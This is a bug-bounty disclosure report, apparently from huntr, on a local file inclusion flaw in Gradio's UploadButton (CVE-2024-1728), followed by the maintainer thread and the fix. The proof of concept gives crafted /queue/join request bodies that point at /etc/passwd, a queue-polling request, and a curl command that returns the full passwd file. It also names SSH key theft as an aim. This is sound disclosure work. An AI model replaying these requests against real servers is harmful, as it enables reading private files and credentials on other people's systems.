

Local File Inclusion in gradio-app/gradio

✓ Valid

Reported on Feb 11th 2024

Description

Every Gradio instance utilizing the [UploadButton component](#) is vulnerable to a local file inclusion vulnerability that gives attackers the ability to read any arbitrary file on the filesystem.

This issue could also be used to gain remote code execution to the system. An example of this would be to read private SSH keys.

Proof of Concept

When uploading a file to the UploadButton component, a request is made to `/queue/join`. This request's body looks as follows.

```
{"data": [{"path": "/tmp/gradio/5ccba478285988d266a54bb7127def4008de323b/CHANGELOG.r
```

However, any attacker is able to send the following request. Notice how the path in the request is set to `/etc/passwd`.

```
POST /queue/join? HTTP/1.1
Host: 127.0.0.1:7860
Content-Length: 218
```

```
{"data": [{"path": "/etc/passwd", "url": "http://127.0.0.1:7860/file=/help", "orig_name
```

Now that the private file has been added to the queue, we can query the queue status using a GET request to `http://gradio.pinkdraconian.com:7860/queue/data?session_hash=hu6na4f3d08`. (You may need to send the first request again for it to appear in the queue data). The response of this request looks as follows:

```
HTTP/1.1 200 OK
date: Sun, 11 Feb 2024 08:40:34 GMT
server: uvicorn
content-type: text/event-stream; charset=utf-8
Content-Length: 712
```

```
data: {"msg": "estimation", "event_id": "c52430d24847453391c1ad30b63f07c6", "rank":
```

```
data: {"msg": "process_starts", "event_id": "c52430d24847453391c1ad30b63f07c6"}
data: {"msg": "process_completed", "event_id": "c52430d24847453391c1ad30b63f07c6",
```

Notice how the third even contains a path to

/tmp/gradio/ab8648fb86eb110961613114afea833122c344de/passwd ? The private file has now been moved to the Gradio temporary directory. However, that significantly decreases the security of this file, as that directory can be read by anyone using the following request to

```
http://gradio.pinkdraconian.com:7860/file=/tmp/gradio/ab8648fb86eb110961613114afea833122c344de/passwd .
```

```
$ curl http://127.0.0.1:7860/file=/tmp/gradio/ab8648fb86eb110961613114afea833122c344de/passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:992:992:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
tss:x:101:104:TPM software stack,,,:/var/lib/tpm:/bin/false
strongswan:x:102:65534::/var/lib/strongswan:/usr/sbin/nologin
tcpdump:x:103:105::/nonexistent:/usr/sbin/nologin
usbmux:x:104:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:107:108:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:108:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:109:110:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
lightdm:x:110:112:Light Display Manager:/var/lib/lightdm:/bin/false
saned:x:111:114::/var/lib/saned:/usr/sbin/nologin
polkitd:x:991:991:polkit:/nonexistent:/usr/sbin/nologin
rtkit:x:112:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
colord:x:113:116:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
nm-openvpn:x:114:117:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
nm-openconnect:x:115:118:NetworkManager OpenConnect plugin,,,:/var/lib/NetworkManager:/usr/sbin/nologin
_galera:x:116:65534::/nonexistent:/usr/sbin/nologin
mysql:x:117:120:MariaDB Server,,,:/nonexistent:/bin/false
stunnel4:x:990:990:stunnel service system account:/var/run/stunnel4:/usr/sbin/nologin
_rpc:x:118:65534::/run/rpcbind:/usr/sbin/nologin
geoclue:x:119:122::/var/lib/geoclue:/usr/sbin/nologin
Debian-snmp:x:120:123::/var/lib/snmp:/bin/false
```

```
sslh:x:121:124::/nonexistent:/usr/sbin/nologin
ntpsec:x:122:127::/nonexistent:/usr/sbin/nologin
redsocks:x:123:128::/var/run/redsocks:/usr/sbin/nologin
rwhod:x:124:65534::/var/spool/rwho:/usr/sbin/nologin
_gophish:x:125:130::/var/lib/gophish:/usr/sbin/nologin
iodine:x:126:65534::/run/iodine:/usr/sbin/nologin
miredo:x:127:65534::/var/run/miredo:/usr/sbin/nologin
statd:x:128:65534::/var/lib/nfs:/usr/sbin/nologin
redis:x:129:131::/var/lib/redis:/usr/sbin/nologin
postgres:x:130:132:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mosquitto:x:131:133::/var/lib/mosquitto:/usr/sbin/nologin
inetsim:x:132:134::/var/lib/inetsim:/usr/sbin/nologin
_gvm:x:133:136::/var/lib/openvas:/usr/sbin/nologin
kali:x:1000:1000:,,,:/home/kali:/usr/bin/zsh
```

Impact

This vulnerability allows an attacker to retrieve every file present on the system. It can have great consequences:

- Achieving RCE by retrieving private SSH keys
- Reading private files
- Reading source code for application -> May allow further mounting of attacks
- Reading configuration files ...

 We are processing your report and will contact the **gradio-app/gradio** team within 24 hours. 2 years ago



 **pinkdraconian** modified the report 2 years ago

 We have contacted a member of the **gradio-app/gradio** team and are waiting to hear back 2 years ago



 **Dan McInerney** modified the Severity from Critical (9.8) to High (7.5) 2 years ago



Dan McInerney commented 2 years ago

Admin

Per NIST audits on previously reported LFI's from our platform, changing to 7.5 CVSS.

 We have sent a follow up to the **gradio-app/gradio** team. We will try again in 4 days. 2 years ago

 We have sent a second follow up to the **gradio-app/gradio** team. We will try again in 7 days. 2 years ago



Abubakar Abid commented 2 years ago

Maintainer

Hi thanks again for submitting the report. We've opened a PR with this fix:
<https://github.com/gradio-app/gradio/pull/7465>

Would you be able to confirm if this fixes the issue for you? You can install gradio from this PR by doing:

```
pip install https://gradio-builds.s3.amazonaws.com/cc51d9063043d896dbd219787c32e601f2fadd3e/gradio-4.19.1-py3-none-any.whl
```

 A **gradio-app/gradio** maintainer has acknowledged this report 2 years ago

 The scheduled publication date was automatically extended from 28th Mar 2024 to 4th Apr 2024 due to the maintainers acknowledgement of the report 2 years ago

 **pinkdraconian** commented 2 years ago Researcher

Thank you for the quick resolution. I'm validating the code now.

 **pinkdraconian** commented 2 years ago Researcher

I can verify that the issue has now been resolved. Thank you.

 **Abubakar Abid** commented 2 years ago Maintainer

Thank you @pinkdraconian!

  **Abubakar Abid** gave praise 2 years ago

★ The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

  **Abubakar Abid** validated this vulnerability 2 years ago

\$ **pinkdraconian** has been awarded the disclosure bounty 

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

 **CVE-2024-1728** assigned to this report. 2 years ago

  **Abubakar Abid** marked this as fixed in **4.19.2** with commit **16fbe9** 2 years ago

\$ The fix bounty has been dropped 

 We have sent a warning to the **gradio-app/gradio** team to inform them that this report will be published in 48 hours 2 years ago



This vulnerability has now been published 2 years ago



CVE-2024-1728 has now been published 2 years ago

[Sign in](#) to join this conversation

CVE

CVE-2024-1728

Published

Vulnerability Type

CWE-22: Path Traversal

Severity

High (7.5)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	None
Availability	None

[Open in visual CVSS calculator](#) 

Registry

Pypi

Affected Version

4.18.0

Visibility

Public

Status

Fixed

Disclosure Bounty

\$750

Fix Bounty

\$187.5

Found by



pinkdraconian

@pinkdraconian

MIDDLEWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)